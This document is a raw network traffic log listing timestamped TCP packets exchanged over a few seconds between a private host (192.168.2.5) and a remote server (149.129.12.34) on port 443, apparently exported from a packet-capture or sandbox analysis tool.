Nov 29, 2024 15:45:50.756777048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.756829023 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.756836891 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.756882906 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.773008108 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.930079937 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.930109024 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.930195093 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.930207014 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.930253983 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.936563015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.936609030 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.937932968 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.937941074 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.938004017 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.940392971 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.940413952 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.940453053 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.940460920 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.940489054 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.940496922 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.945915937 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.945933104 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.945981979 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.945988894 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.946019888 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.951509953 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.951528072 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.951584101 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.951591015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.951632023 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.956377029 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.956394911 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.956438065 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.956444979 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.956476927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.956496000 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.962332964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.962351084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.962404966 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.962410927 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.962454081 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.967137098 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.967155933 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.967210054 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:50.967216969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:50.967259884 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.141274929 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.141303062 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.141422987 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.141436100 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.141479969 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.146812916 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.146830082 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.146914959 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.146923065 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.146961927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.151652098 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.151670933 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.151752949 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.151760101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.151804924 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.157223940 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.157241106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.157300949 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.157309055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.157349110 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.162744045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.162760973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.162815094 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.162822962 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.162859917 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.168225050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.168241024 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.168298006 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.168306112 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.168346882 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.173459053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.173476934 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.173532963 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.173540115 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.173579931 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.178616047 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.178632021 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.178690910 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.178700924 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.178754091 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.182142019 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.380827904 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.380850077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.380981922 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.380992889 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.381038904 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.386320114 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.386338949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.386399031 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.386406898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.386442900 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.391186953 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.391211033 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.391252995 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.391261101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.391290903 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.391310930 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.396822929 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.396841049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.396914005 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.396922112 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.396965981 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.402421951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.402440071 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.402508020 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.402513981 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.402553082 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.407824993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.407841921 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.407939911 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.407947063 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.407993078 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.413012981 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.413028955 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.413094044 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.413100958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.413142920 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.417927027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.417944908 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.417992115 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.418001890 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.418045044 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.591310978 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.591336966 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.591460943 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.591470957 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.591516018 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.596818924 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.596836090 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.596896887 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.596904039 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.596944094 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.601706982 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.601723909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.601773977 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.601782084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.601831913 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.607326984 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.607342958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.607409000 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.607415915 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.607498884 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.612776995 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.612793922 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.612862110 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.612869978 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.612921953 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.618360043 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.618375063 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.618437052 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.618443966 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.618485928 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.623524904 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.623539925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.623589993 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.623598099 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.623636961 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.629136086 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.629152060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.629206896 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.629215002 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.629256010 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.802011013 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.802032948 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.802134991 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.802145004 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.802187920 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.807413101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.807427883 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.807476044 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.807483912 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.807521105 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.813097000 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.813112974 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.813172102 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.813179016 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.813219070 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.817867041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.817883015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.817977905 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.817985058 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.818047047 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.823951006 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.823968887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.824052095 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.824059963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.824101925 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.828942060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.828958988 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.829024076 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.829030991 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.829155922 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.834127903 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.834144115 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.834217072 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.834223986 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.834263086 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.839840889 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.839863062 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.839936018 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:51.839943886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:51.839984894 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.012461901 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.012490034 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.012583971 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.012598038 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.012640953 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.018008947 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.018028975 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.018089056 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.018101931 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.018151045 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.022932053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.022947073 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.023001909 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.023013115 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.023051977 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.028580904 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.028595924 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.028661966 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.028670073 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.028712988 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.034001112 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.034017086 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.034070969 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.034077883 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.034126043 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.039509058 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.039525032 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.039577961 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.039587021 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.039633036 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.044696093 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.044718027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.044763088 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.044770002 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.044784069 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.044805050 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.048759937 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.050395012 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.050410032 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.050468922 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.050477028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.050518036 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.076550007 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.223186016 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.223210096 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.223295927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.223304987 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.223349094 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.228683949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.228698015 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.228738070 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.228749037 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.228760958 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.228784084 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.234172106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.234186888 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.234252930 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.234261036 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.234301090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.239062071 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.239079952 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.239120007 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.239128113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.239140034 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.239166975 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.244654894 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.244671106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.244709969 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.244718075 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.244739056 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.244748116 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.250108957 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.250130892 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.250173092 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.250180006 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.250210047 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.250226021 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.255381107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.255395889 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.255436897 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.255444050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.255458117 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.255486965 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.260873079 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.260889053 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.260930061 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.260937929 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.260977030 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.441816092 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.441837072 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.441972017 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.441982985 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.442022085 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.447263002 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.447278976 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.447335958 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.447344065 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.447386980 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.453342915 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.453357935 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.453418016 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.453425884 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.453473091 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.458093882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.458116055 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.458177090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.458184004 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.458225965 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.463623047 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.463638067 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.463700056 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.463706970 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.463747025 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.468569994 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.468585968 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.468643904 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.468652010 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.468689919 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.472932100 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.473985910 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.474003077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.474050045 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.474056959 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.474083900 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.474108934 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.479254007 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.479269028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.479329109 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.479336977 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:52.479383945 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:52.481616020 CET	49704	443	192.168.2.5	149.129.12.34
